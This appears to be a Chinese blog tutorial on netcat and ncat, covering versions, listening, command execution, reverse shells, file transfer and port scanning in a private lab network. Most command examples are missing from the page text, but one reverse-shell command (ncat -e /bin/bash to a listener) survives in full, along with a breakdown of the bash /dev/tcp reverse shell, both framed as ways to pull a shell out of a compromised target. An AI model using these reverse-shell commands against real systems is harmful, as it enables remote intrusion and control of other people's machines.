该文章写于 411 天前, 内容可能已经没有参考价值了,请自行判断。
nc 被誉为网络安全界的瑞士军刀,一个简单而有用的工具,透过使用 TCP 或 UDP 协议的网络连接去读写数据,国光本人认为看完这篇文章教程你的 nc 基本上是入门了。
简介
nc 被誉为网络安全界的瑞士军刀,一个简单而有用的工具,透过使用 TCP 或 UDP 协议的网络连接去读写数据。
版本区别
nc 的版本非常乱,有很多版本,他们分别由不同的作者编写。
netcat-traditional
这个是最早的版本,最新版本是 2007 年 1 月,版本是 1.10,Kali Linux 默认带的就是这个版本:
这个版本的 nc 具有-e
选项,十分方便反弹 shell 使用
Windows 版本的 netcat 下载地址:https://eternallybored.org/misc/netcat/
netcat-openbsd
ubuntu 里默认的 nc 命令指向的是netcat-openbsd。这个版本因为考虑到安全性等原因没有-e
选项。所以我们得手动替换一下nc 的版本:
ncat
这是 netcat 的比较新的现代版本,它是从头开始编写的,不使用原始的 netcat 代码,ncat 的作者是着名的 Nmap 程序的作者。ncat 几乎重复了原始程序的所有功能,并包含其他功能。CentOS、Red Hat 默认带的是 ncat。目前ncat已经集成到了 nmap 里面,安装完 nmap 后就可以使用ncat
命令了。
用法
本用法全部基于ncat
命令来做的记录,其他版本的 nc 可能会有些许差别。
实验环境
操作系统 |
IP地址 |
Ubuntu 18.04 |
10.211.55.14 |
macOS 10.13.6 |
10.211.55.2 |
文字交互
监听入站连接
-l
:使用监听模式,监控传入的信息
此刻 macOS 就会在监听本地 2333 端口的入站连接。
连接远程系统
尝试实验 nc 在 Ubuntu 系统下来连接 macOS 的 2333 端口:
现在就可以通过 nc 来聊天来,任何一方输入的内容都会被另一方看到:
任一方按Ctrl+C
即可终止这尴尬的聊天。
命令交互
基本交互
-e
:将传入的信息以命令执行
在 macOS 上运行如下命令,将/bin/bash
通过 2333 端口来监听,将收到的信息都发送到/bin/bash
Ubuntu 系统这边依然向往常一样来连接 macOS 的 2333 端口,只是此时 Ubutnu 输入的指令都会传入macOS 的 /bin/bash 执行成功后会返回信息,类似于ssh操作连接来 macOS 一样:
持久监听
-k
: 客户端断掉连接时,服务端依然保持运行
-v
:现实指令执行过程细节
在 macOS 开启一个持久监听的 nc
此时使用 Ubuntu 去连接 macOS:
当 Ubuntu客户端使用CTRL + c
或CTRL + d
断开连接的时候,macOS 的 ncat 依然在运行,这样方便 Ubuntu下次直接 nc 连进来。
内网弹shell
ncat 简单调整是可以穿内网的
首先外网的 CentOS 服务器先监听本地端口:
-w
: 设置等待连线的时间秒数
内网的 macOS 运行:
此时 CentOS 这边已经接受到了内网到 macOS 的 bash 了,可以交互执行 masOS 的命令:
bash 弹 shell
如果控制的目标机器自带的nc
不支持-e
选项,那如何将shell弹出去呢?这里可以利用自带的bash
命令交互环境来实现这个操作:
攻击者外网监听:
-p
port 本地端口
被入侵的目标机器执行如下命令:
这条命令的作用等同于之前的ncat -w 10 -e /bin/bash 10.211.55.4 2333
命令 |
参数解释 |
bash -i |
产生一个bash交互环境 |
>& |
将联合符号前面的内容与后面结合然后一起重定向给后者 |
/dev/tcp/10.211.55.4/2333 |
让目标主机与主机10.211.55.4的2333端口简历一个连接 |
0>&1 |
将标准的输入与标准输出内容相结合,然后重定向给前面的标准输出内容 |
文件传输
上传文件到远程
CentOS 远程服务器运行:
macOS 本地运行:
此时会将 macOS 的文件传输到远程的 CentOS 服务器上,传输完成后,两个 ncat 会话都将终止。
从远程下载文件
CentOS 远程服务器运行:
macOS 本地运行:
请注意,这里文件传输完成后不会显示任何内容,并且两个 Ncat 实例将继续工作。
端口扫描
范围扫描
ncat 不支持端口扫描,但是原始的 nc 可以扫描端口。
-n
: 直接使用ip地址,而不通过域名服务器
-z
: 使用0输入/输出模式,只在扫描通信端口时使用
这里扫描 10.211.55.14 的 20-25 这个端口范围:
可以发现成功扫描出 22 端口是开放的了
单个扫描
nc 的命令可以写在一起的,下面两条命令的作用相同:
详细参数
支持一下
本文可能实际上也没有啥技术含量,但是写起来还是比较浪费时间的,在这个喧嚣浮躁的时代,个人博客越来越没有人看了,写博客感觉一直是用爱发电的状态。如果你恰巧财力雄厚,感觉本文对你有所帮助的话,可以考虑打赏一下本文,用以维持高昂的服务器运营费用(域名费用、服务器费用、CDN费用等)
微信
|
支付宝
|
没想到文章加入打赏列表没几天 就有热心网友打赏了 于是国光我用 Bootstrap 重写了一个页面 用以感谢 支持我的朋友,详情请看 打赏列表 | 国光